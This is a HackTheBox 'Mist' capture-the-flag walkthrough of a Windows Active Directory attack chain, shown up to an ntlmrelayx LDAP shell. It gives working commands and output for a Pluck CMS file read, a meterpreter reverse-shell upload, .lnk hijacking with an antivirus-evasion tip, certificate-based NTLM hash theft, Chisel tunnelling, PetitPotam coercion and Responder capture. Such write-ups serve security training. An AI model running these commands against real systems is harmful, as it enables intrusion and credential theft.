Hackthebox: Mist

Foued SAIDI Lv4

Overview

Mist is an insane-difficulty Windows HackTheBox machine. It starts off with a File Read vulnerability in Pluck version v4.7.18 to leak admin password and get a hold of a system shell by uploading a malicious module. Then there’s a directory with links in it that we can abuse for a phishing attack to pivot to another user. Atfer that, we can find that LDAP signing is off so we could PetitPotam to coerce the server and then add shadow credentials to the machine account on the webserver to access local admin. Later finding a KeePass Database to do a pattern hash cracking and obtain its’ password. Finally, move on from there, read GMSA password, abuse AddKeyCredentialLink and exploit ADCS ESC13.

Mist-info-card
Mist-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS C:\Users\0xkujen> nmap -A -Pn 10.129.128.221
Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-25 16:41 W. Central Africa Standard Time
Nmap scan report for 10.129.128.221
Host is up (1.0s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
| http-robots.txt: 2 disallowed entries
|_/data/ /docs/
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Mist - Mist
|_Requested resource was http://10.129.128.221/?file=mist
|_http-generator: pluck 4.7.18

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.01 seconds
PS C:\Users\0xkujen>

We can see that we have only one open port which is 80, that has a web application running on it, so let’s check it out.

Web Application - http://mist.htb

Web Application
Web Application

One interesting thing about this interface is that it says that it’s powered by Pluck CMS and we also have a redirect to a login.php once we click on “admin”:

Pluck Login
Pluck Login

Yet we still do not have a password for that.

Local File Read - http://mist.htb/data/modules/albums/albums_getimage.php

During my initial recon phase, I used Feroxbuster to check for interesting directories and files and stumbled upon this one:

Local File Read
Local File Read

Checking this issue on Github will give us a good idea on how to proceed forward since it is specifying how we can include file and read them with being authenticated:
https://github.com/pluck-cms/pluck/issues/122

One really interesting resource I found was /data/settings/modules/albums/admin_backup.php:

Local File Read
Local File Read

I tried to read the file by including the whole path but it did not work. However, when I only inserted the name of the file only I got a hit:

Local File Read
Local File Read

It looks like a password hash. I used Crackstation to rapidly get a password value and I got a hit for lexypoo97

Pluck v4.7.18 - Remote Code Execution (RCE)

I used that password to login into the Pluck instance we saw earlier and it was successful:

Pluck
Pluck

Looking at the version displayed on the page footer v4.7.18, I searched for any public exploits and stumbled upon this one . The steps are as follows:
1- Create a php/meterpreter_reverse_tcp payload using msfvenom: msfvenom -p php/meterpreter_reverse_tcp -f raw LHOST=10.10.x.x LPORT=4444 -o kujen.php
2- Zip that to kujen.zip
3- upload it by navigating to Options => Manage Modules => Install Module
4- Navigate to http://mist.htb/data/modules/kujen/kujen.php
5- Get a reverse shell session on msfconsole:

1
2
3
4
5
6
7
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.x.x:4444
[*] Meterpreter session 1 opened (10.10.x.x:4444 -> 10.129.128.221:49975) at 2024-10-25 13:33:31 -0400

meterpreter > getuid
Server username: svc_web

And we are in!!
First step now is to get a new reverse shell using windows/x64/meterpreter/reverse_tcp because the PHP one will not allow us to keep working comfortably, so I’ll just create a new payload and get my reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.x.x:4455
[*] Sending stage (201798 bytes) to 10.129.128.221
[*] Meterpreter session 1 opened (10.10.x.x:4455 -> 10.129.128.221:49895) at 2024-10-25 13:42:44 -0400

meterpreter > ls
Listing: C:\xampp\htdocs\data\modules\kujen
===========================================

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 7168 fil 2024-10-25 13:46:44 -0400 kujen.exe
100666/rw-rw-rw- 34849 fil 2024-10-25 13:46:23 -0400 kujen.php


And now we can keep going forward :)

1
2
3
4
5
6
7
8
9
10
11
PS C:\> net view \\MS01
net view \\MS01
Shared resources at \\MS01



Share name Type Used as Comment

-------------------------------------------------------------------------------
Common Applications Disk
The command completed successfully.

The “Common Applications” folder should not exist since it doesn’t in the initial installation of a windows system.
Checking it, I find some interesting “.lnk” files. This article was really helpful for me to abuse a popular phishing technique where attackers embed .lnk files into the Office documents and camouflage them with Ms Word office icons in order to deceive victims to click and run them.

1
2
3
4
5
6
PS C:\xampp\htdocs\data\modules\kujen> $objShell = New-Object -ComObject WScript.Shell
PS C:\xampp\htdocs\data\modules\kujen> $lnk = $objShell.CreateShortcut("c:\Common Applications\Calculator.lnk")
PS C:\xampp\htdocs\data\modules\kujen> $lnk.TargetPath = "C:\xampp\htdocs\files\kujen.exe"
PS C:\xampp\htdocs\data\modules\kujen> $lnk.Save()
PS C:\xampp\htdocs\data\modules\kujen>

PS: I tried for a long time to upload my “kujen.exe” again, but it got detected each time. Therefore I searched for a whitelisted folder that would not trigger the detection (which is something everyone should do) and the /files folder made sense to me since it’s a file directory and detections would be less on it. And that was actuall the case for me :)
We could also search for defender exclusions, this article explains it well.

And we got our reverse shell for the “MIST\Brandon.Keywarp” user:

1
2
3
4
5
6
7
8
9
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.x.x:4455
[*] Sending stage (201798 bytes) to 10.129.128.221
[*] Meterpreter session 2 opened (10.10.x.x:4455 -> 10.129.128.221:49983) at 2024-10-25 14:24:49 -0400

meterpreter > getuid
Server username: MIST\Brandon.Keywarp

Certificate service to obtain MIST\brandon.keywrap NTLM hash:

We will requesting a user certificate from the CA “mist-DC01-CA” on the server “DC01”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
PS C:\xampp\htdocs\files> ./Certify.exe request /ca:DC01\mist-DC01-CA /template:User
./Certify.exe request /ca:DC01\mist-DC01-CA /template:User

_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0

[*] Action: Request a Certificates

[*] Current user context : MIST\Brandon.Keywarp
[*] No subject name specified, using current context as subject.

[*] Template : User
[*] Subject : CN=Brandon.Keywarp, CN=Users, DC=mist, DC=htb

[*] Certificate Authority : DC01\mist-DC01-CA

[*] CA Response : The certificate had been issued.
[*] Request ID : 60

[*] cert.pem :

-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAu5NKRkDBB/QmHAB2GN/YikaHMyHNbIXnB/kmKHjRkjSgDWV9
wI/YcKJwOz+9r7YslUBSVQ4vKdqxZQJOAEEhWmS7m6m7IkFsDHGDViZBJCF77hwd
38j96Gf0BT++1ZC6zAybbG+sY9YRMSVpb69/miqL0H2emI9l5Su4Z3fMApQNw7wu
wlYJI4qgfjHxPOqYcBgHuhlAGl/DywIlvJvDTnfLdHta+UMDlX0OLFfTuXC4bg2S
UR0jGpS1ZT9ItsKXW9rRL6Bbi8vYAxuK1kzWYoaGMFPUWjLVGKIhVskdzmdUkGQx
0EOtr4GV6HVpOHueXhq3DoQ0CAmXxi9Xjp6aAQIDAQABAoIBABInjE3GYKhrafDV
3phDugqQDu/U+rPhNd4gsB/EqcvzyfXh98zWX0Vvg1tIrQw/nosHgbB3wfrUDs1O
7su5ggfkrf+/6rvDBzkhF2wUIcPkdcEy+XU6V9DRlt2XMNosutea9MQG/vFeu6U9
ELpdiwUZzxRrxBjR8DPBCoUBJD6veUXAMOBo/habapQMG4uYr9fyrI3dXfKn3rDH
3wcuZKxe/W6pCXplQN+4Lub5b3B96Zja8NOk5NDi8ZNnMi7CgHmOwhLO8pvgGCIJ
bLYa4Oerib3zPTuA4H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WNlcyxDTj1TZXJ2aWNlcyxDTj1D
b25maWd1cmF0aW9uLERDPW1pc3QsREM9aHRiP2NlcnRpZmljYXRlUmV2b2NhdGlv
bkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBuwYI
KwYBBQUHAQEEga4wgaswgagGCCsGAQUFBzAChoGbbGRhcDovLy9DTj1taXN0LURD
MDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZp
Y2VzLENOPUNvbmZpZ3VyYXRpb24sREM9bWlzdCxEQz1odGI/Y0FDZXJ0aWZpY2F0
ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3JpdHkwMwYDVR0R
BCwwKqAoBgorBgEEAYI3FAIDoBoMGEJyYW5kb24uS2V5d2FycEBtaXN0Lmh0YjBP
BgkrBgEEAYI3GQIEQjBAoD4GCisGAQQBgjcZAgGgMAQuUy0xLTUtMjEtMTA0NTgw
OTUwOS0zMDA2NjU4NTg5LTI0MjYwNTU5NDEtMTExMDANBgkqhkiG9w0BAQsFAAOC
AQEAAmOuNzVburuCradlPkMvt/CuNObokT6HGTBkr3j+cQL+ymkXKRI/hCncNiRB
iO4GOG+JUw+fmXiF9MXnyUeFr6LWhoUWyIxXLCsORojEu0caybUP2afcK78TOypM
Glb8XlGHzhQ1uZLIQqHFBjJEcijCYyJzaTZHPVbhKvIEN/C0ydcIwzTYZOgAPJyV
ZmFOfJLuOKaqZwkT+k/FsUHkYCryIGglyaqbLQDg9EHqNM739JMHMo1HZZff8fRV
3GXAcjCWEaTUYzVr/GDi9NjDB4NDCSidVavIALAkbnOR5J88FrOEHBe5g/WRqVM4
x0boNoF5nOGvSbQXhm2bstFJ+Q==
-----END CERTIFICATE-----


[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx



Certify completed in 00:00:14.2221415

I’ll now run the command openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx on my machine since openssl is not installed on the victim machine and I’ll be getting a cert.pfx file.

Then, I’ll be requesting a TGT for the user brandon.keywarp using the provided certificate file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
PS C:\xampp\htdocs\files> .\Rubeus.exe asktgt /user:brandon.keywarp /certificate:C:\xampp\htdocs\files\cert.pfx /getcredentials /show /nowrap
.\Rubeus.exe asktgt /user:brandon.keywarp /certificate:C:\xampp\htdocs\files\cert.pfx /getcredentials /show /nowrap

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v2.2.1

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=Brandon.Keywarp, CN=Users, DC=mist, DC=htb
[*] Building AS-REQ (w/ PKINIT preauth) for: 'mist.htb\brandon.keywarp'
[*] Using domain controller: 192.168.100.100:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIGGDCCBhSgAwIBBaEDAgEWooIFMjCCBS5hggUqMIIFJqADAgEFoQobCE1JU1QuSFRCoh0wG6ADAgECoRQwEhsGa3JidGd0GwhtaXN0Lmh0YqOCBPIwggTuoAMCARKhAwIBAqKCBOAEggTcSB6ftLMMeu8KI8JB/VQVDG91f+oiRNGeRjV5g82WO7l7YJeuOkqr4SPEzxBIqJOLcsbryTV3J0G1HPgsJA9LsO1q2dCdWVraeoFjnDgE6w7S8PE4/oeKzZjhilb9Ams+P/nvl2FPBWKvtjsqMPu6a+uQwgGikK6RPv1+9vEpL8XqF2a7IocoWlmp6j2UyWBysG0O8KwXReWVfHk1/hqwBJUWtgCTc2zUUXd2qkKpD1v9q7fvWxGe0M3aYwTum3BbslzQ64bF/A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k5MEU8CSiJXHx1twl+AHhX4B9x8EzwbngyaI/pQtFJNcZsKTBm0o7ypefm6XLm2V6/KFlOP3v1/tQG79ULNNAVVj6own0iKLymzT2f0xSF7BsWCEtOgoXzYIEW8ABO4LjMnXMr9d0N4e/6Iu8MUsznAca//9xIbWVjNdYtO25sOWXZYm75VWnYw3Ez09LeLVuGQ1DPJrGru5hmbiymXQbzfZKd9Jfv683NSNF9pX/sQ5bU1Epr3wI7NQnSOXM7ZCc4Cj9fIG3efoTAEQjfvSu9CJf9YWqkl8khGKQR6WRG6Ha4F66jgdEwgc6gAwIBAKKBxgSBw32BwDCBvaCBujCBtzCBtKAbMBmgAwIBF6ESBBCsRdi5skoaK+86gmKDyT7DoQobCE1JU1QuSFRCohwwGqADAgEBoRMwERsPYnJhbmRvbi5rZXl3YXJwowcDBQBA4QAApREYDzIwMjQxMDI1MTkwMTI1WqYRGA8yMDI0MTAyNjA1MDEyNVqnERgPMjAyNDExMDExOTAxMjVaqAobCE1JU1QuSFRCqR0wG6ADAgECoRQwEhsGa3JidGd0GwhtaXN0Lmh0Yg==

ServiceName : krbtgt/mist.htb
ServiceRealm : MIST.HTB
UserName : brandon.keywarp
UserRealm : MIST.HTB
StartTime : 10/25/2024 12:01:25 PM
EndTime : 10/25/2024 10:01:25 PM
RenewTill : 11/1/2024 12:01:25 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : rEXYubJKGivvOoJig8k+ww==
ASREP (key) : 0CD698486D989A6F6EA87ADBC7C1CBE1

[*] Getting credentials using U2U

CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : DB03D6A77A2205BC1D07082740626CC9
PS C:\xampp\htdocs\files>

And we got the NTLM hash for brandon.keywrap: DB03D6A77A2205BC1D07082740626CC9

I will first be setting up port forwarding for the whole machine using Chisel
On victim machine:

1
2
3
4
5
PS C:\xampp\htdocs\files> ./chisel.exe client 10.10.x.x:9999 R:socks
./chisel.exe client 10.10.x.x:9999 R:socks
2024/10/25 12:23:20 client: Connecting to ws://10.10.x.x:9999
2024/10/25 12:23:32 client: Connected (Latency 2.1099799s)

On attacker machine:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/Downloads]
└─$ ./chisel server -p 9999 --reverse
2024/10/25 15:18:44 server: Reverse tunnelling enabled
2024/10/25 15:18:44 server: Fingerprint Cd5gHzHpCEJBsOFWEi3raG5mce9qn7LGOaov5WcKk/A=
2024/10/25 15:18:44 server: Listening on http://0.0.0.0:9999
2024/10/25 15:18:57 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

We test out brandon’s credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~]
└─$ proxychains netexec smb 192.168.100.100 -u 'brandon.keywarp' -H "DB03D6A77A2205BC1D07082740626CC9"
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:135 ... OK
SMB 192.168.100.100 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:mist.htb) (signing:True) (SMBv1:False)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:445 ... OK
SMB 192.168.100.100 445 DC01 [+] mist.htb\brandon.keywarp:DB03D6A77A2205BC1D07082740626CC9

PetitPotam

Now that we confirm that we have a domain user, we can force access, this was a really helpful article and it was actually the piece I was missing when I first solved the machine. So first, I’ll have to enable WebDav client:

1
.\DavRelayUp.exe relay -l http://*:5357/ --ComputerName ms01$ -f -m shadowcred --domain mist.htb

Then I’ll just run the PetitPotam script while listening with Responder to see if I can capture something:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
┌──(kali㉿kali)-[~]
└─$ proxychains python3 PetitPotam.py -u 'brandon.keywarp' -hashes ':DB03D6A77A2205BC1D07082740626CC9' -pipe all -d mist.htb 10.10.x.x 192.168.100.101
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17


___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'

PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)

Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN



Trying pipe efsr
[-] Connecting to ncacn_np:192.168.100.101[\PIPE\efsrpc]
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.101:445 ... OK
Something went wrong, check error status => SMB SessionError: code: 0xc0000034 - STATUS_OBJECT_NAME_NOT_FOUND - The object name is not found.
Trying pipe lsarpc
[-] Connecting to ncacn_np:192.168.100.101[\PIPE\lsarpc]
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.101:445 ... OK
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Trying pipe samr
[-] Connecting to ncacn_np:192.168.100.101[\PIPE\samr]
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.101:445 ... OK
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Trying pipe netlogon
[-] Connecting to ncacn_np:192.168.100.101[\PIPE\netlogon]
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.101:445 ... OK
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Trying pipe lsass
[-] Connecting to ncacn_np:192.168.100.101[\PIPE\lsass]
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.101:445 ... OK
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
┌──(kali㉿kali)-[~]
└─$ sudo responder -I tun0 -v
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|

NBT-NS, LLMNR & MDNS Responder 3.1.4.0

To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder

Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C


[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]

[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [OFF]

[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]

[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]

[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.x.x]
Responder IPv6 [dead:beef:4::1005]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']

[+] Current Session Variables:
Responder Machine Name [WIN-4VFBEQUM2XP]
Responder Domain Name [QIJ9.LOCAL]
Responder DCE-RPC Port [47421]

[+] Listening for events...

[SMB] NTLMv2-SSP Client : 10.129.128.221
[SMB] NTLMv2-SSP Username : MIST\MS01$
[SMB] NTLMv2-SSP Hash : MS01$::MIST:b7d9b4286a477169:8D35B82B5E42AA5DC34CFBDAC828BADA:01010000000000000044489DFA26DB012DBA172017E8D32D0000000002000800510049004A00390001001E00570049004E002D0034005600460042004500510055004D0032005800500004003400570049004E002D0034005600460042004500510055004D003200580050002E00510049004A0039002E004C004F00430041004C0003001400510049004A0039002E004C004F00430041004C0005001400510049004A0039002E004C004F00430041004C00070008000044489DFA26DB01060004000200000008003000300000000000000000000000004000006D4270F1B6F11653A80041CB7179F07AF54BC5E8DCEF75AB9D15C78A9F899C870A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0037000000000000000000

And we get a hit! So now let’s use ntlmrelayx script from Impacket to get the LDAP shell, clear the shadow credentials and later add the new one (we can do that using this specific pull request https://github.com/fortra/impacket/pull/1402 ):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
┌──(kali㉿kali)-[~/hackthebox/mist/PetitPotam]
└─$ proxychains python3 PetitPotam.py -u 'brandon.keywarp' -hashes :DB03D6A77A2205BC1D07082740626CC9 -pipe all MS01@6666/aaa 192.168.100.101

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17


___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'

PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)

Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN



Trying pipe efsr
[-] Connecting to ncacn_np:192.168.100.101[\PIPE\efsrpc]
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.101:445 ... OK
Something went wrong, check error status => SMB SessionError: code: 0xc0000034 - STATUS_OBJECT_NAME_NOT_FOUND - The object name is not found.
Trying pipe lsarpc
[-] Connecting to ncacn_np:192.168.100.101[\PIPE\lsarpc]
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.101:445 ... OK
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Trying pipe samr
[-] Connecting to ncacn_np:192.168.100.101[\PIPE\samr]
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.101:445 ... OK
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Trying pipe netlogon
[-] Connecting to ncacn_np:192.168.100.101[\PIPE\netlogon]
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.101:445 ... OK
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Trying pipe lsass
[-] Connecting to ncacn_np:192.168.100.101[\PIPE\lsass]
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.101:445 ... OK
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

Then run ntlmrelayx:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(kali㉿kali)-[~]
└─$ proxychains python3 /usr/local/bin/ntlmrelayx.py -debug -t ldaps://192.168.100.100 -i -smb2support -domain mist.htb
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
/usr/local/bin/ntlmrelayx.py:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
__import__('pkg_resources').run_script('impacket==0.10.1.dev1+20220912.224808.5fcd5e81', 'ntlmrelayx.py')
Impacket v0.10.1.dev1+20220912.224808.5fcd5e81 - Copyright 2022 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/lib/python3.11/dist-packages/impacket-0.10.1.dev1+20220912.224808.5fcd5e81-py3.11.egg/impacket
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[+] Protocol Attack RPC loaded..
[+] Protocol Attack LDAP loaded..
[+] Protocol Attack LDAPS loaded..
[+] Protocol Attack IMAP loaded..
[+] Protocol Attack IMAPS loaded..
[+] Protocol Attack DCSYNC loaded..
[+] Protocol Attack SMB loaded..
[+] Protocol Attack HTTP loaded..
[+] Protocol Attack HTTPS loaded..
[+] Protocol Attack MSSQL loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server

[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
[*] HTTPD(80): Connection from 10.129.166.107 controlled, attacking target ldaps://192.168.100.100
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:636 ... OK
[*] HTTPD(80): Authenticating against ldaps://192.168.100.100 as MIST/MS01$ SUCCEED
[*] Started interactive Ldap shell via TCP on 127.0.0.1:11000
[+] No more targets
[*] HTTPD(80): Connection from 10.129.166.107 controlled, but there are no more targets left!

One really important thing is do not forget to keep running .\DavRelayUp.exe relay -l http://*:5357/ --ComputerName ms01$ -f -m shadowcred --domain mist.htb.

And now we can connect to our shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~]
└─$ nc 127.0.0.1 11000
Type help for list of commands

# clear_shadow_creds MS01$
